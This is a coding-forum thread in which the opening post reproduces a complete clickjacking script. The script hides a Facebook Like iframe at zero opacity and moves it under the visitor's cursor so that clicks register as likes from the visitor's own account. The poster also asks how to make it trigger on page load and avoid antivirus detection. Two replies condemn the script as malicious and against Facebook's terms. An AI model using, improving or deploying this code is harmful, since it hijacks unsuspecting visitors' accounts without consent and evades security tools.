Hello and welcome to our community! Is this your first visit?
Register
Enjoy an ad free experience by logging in. Not a member yet? Register.
Results 1 to 3 of 3
  1. #1
    New Coder
    Join Date
    Jul 2011
    Posts
    53
    Thanks
    5
    Thanked 1 Time in 1 Post

    Facebook Auto Like Script - Need some amendment

    Hello Everyone,

    I find this facebook autolike script with this description:

    "This little script will auto like any external page it's loaded on if the user clicks anywhere on the site. It works. It's free. It can be altered to auto click on page_load too, your choice."
    The script working fine too me but some antivirus detecting this script as a virus also I want this script to work on page load because on click trig-err it keeps gettin like and unlike within seconds.

    Here is the script:

    First download "jquery-1.4.2.min.js" the version IS important:

    Code:
    http://code.jquery.com/jquery-1.4.2.min.js
    Place this in your header section, right below
    <title></title>:

    Code:
    <script src="jquery-1.4.2.min.js" type="text/javascript"></script>
    <script type="text/javascript">
    var interval;
            $(function()
    {
        interval=setInterval("updateActiveElement();", 50);
    });
     
    function updateActiveElement()
    {
        if ( $(document.activeElement).attr('id')=="fbframe" )
        {
            clearInterval(interval);
            iflag=1;
        }    
    }
           
    </script>
    Insert this into your footer section right before </body></html>

    Make sure to change this code to reflect YOUR site url. Look for smokers-outlet.com and replace with YOURS:


    Code:
    <div style="overflow: hidden; width: 10px; height: 12px; position: absolute; filter:alpha(opacity=0); -moz-opacity:0.0; -khtml-opacity: 0.0; opacity: 0.0;" id="icontainer">
     
     
    <!--facebook like frame code goes here-->
     
             <iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fsmokers-outlet.com%2F&amp;layout=standard&amp;show_faces=false&amp;width=450&amp;action=like&amp;font=tahoma&amp;colorscheme=light&amp;height=80" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:50px; height:23px;" allowTransparency="true" id="fbframe" name="fbframe"></iframe>
             
          <!--end facebook like frame code-->
     
        </div>
       
       
          <script>
        var iflag = 0;
        var icontainer = document.getElementById('icontainer');    
        var standardbody=(document.compatMode=="CSS1Compat")? document.documentElement : document.body //create reference to common "body" across doctypes
       
       
       
        function mouseFollower(e){
            /*                    DO NOT EDIT THIS                         */
        if (window.event)
        { // for IE
            icontainer.style.top = (window.event.y-5)+standardbody.scrollTop+'px';
            icontainer.style.left = (window.event.x-5)+standardbody.scrollLeft+'px';
        }
        else
        {
            icontainer.style.top = (e.pageY-5)+'px';
            icontainer.style.left = (e.pageX-5)+'px';
        }
     
        }
        document.onmousemove = function(e) {
            if (iflag == 0) {mouseFollower(e);}
        }
     
        </script>
    And that's it. Anytime someone views your site and clicks somewhere (we all click, we just don't realize it) you'll get a FB Like on THEIR account.

    Please ammend this I really need this

    Thanking You

  • #2
    Regular Coder
    Join Date
    Jan 2005
    Posts
    221
    Thanks
    2
    Thanked 0 Times in 0 Posts
    Just to let you know, auto-liking is in direct violation of the Facebook Terms of Service, and using a script like this to gain likes is suitable reason for Facebook to ban your account.

    If I recall correctly, code like this is considered malicious, and not supported by codingforums

  • #3
    Regular Coder
    Join Date
    Apr 2012
    Location
    St. Louis, MO
    Posts
    985
    Thanks
    7
    Thanked 101 Times in 101 Posts
    Completely unethical. I hope you get caught and banned.

    I also hope a moderator sees this and removes the code, so no one else is tempted to use it.
    ^_^

    If anyone knows of a website that can offer ColdFusion help that isn't controlled by neurotic, pedantic jerks* (stackoverflow.com), please PM me with a link.
    *
    The neurotic, pedantic jerks are not the owners; just the people who are in control of the "popularity contest".


  •  

    Posting Permissions

    • You may not post new threads
    • You may not post replies
    • You may not post attachments
    • You may not edit your posts
    •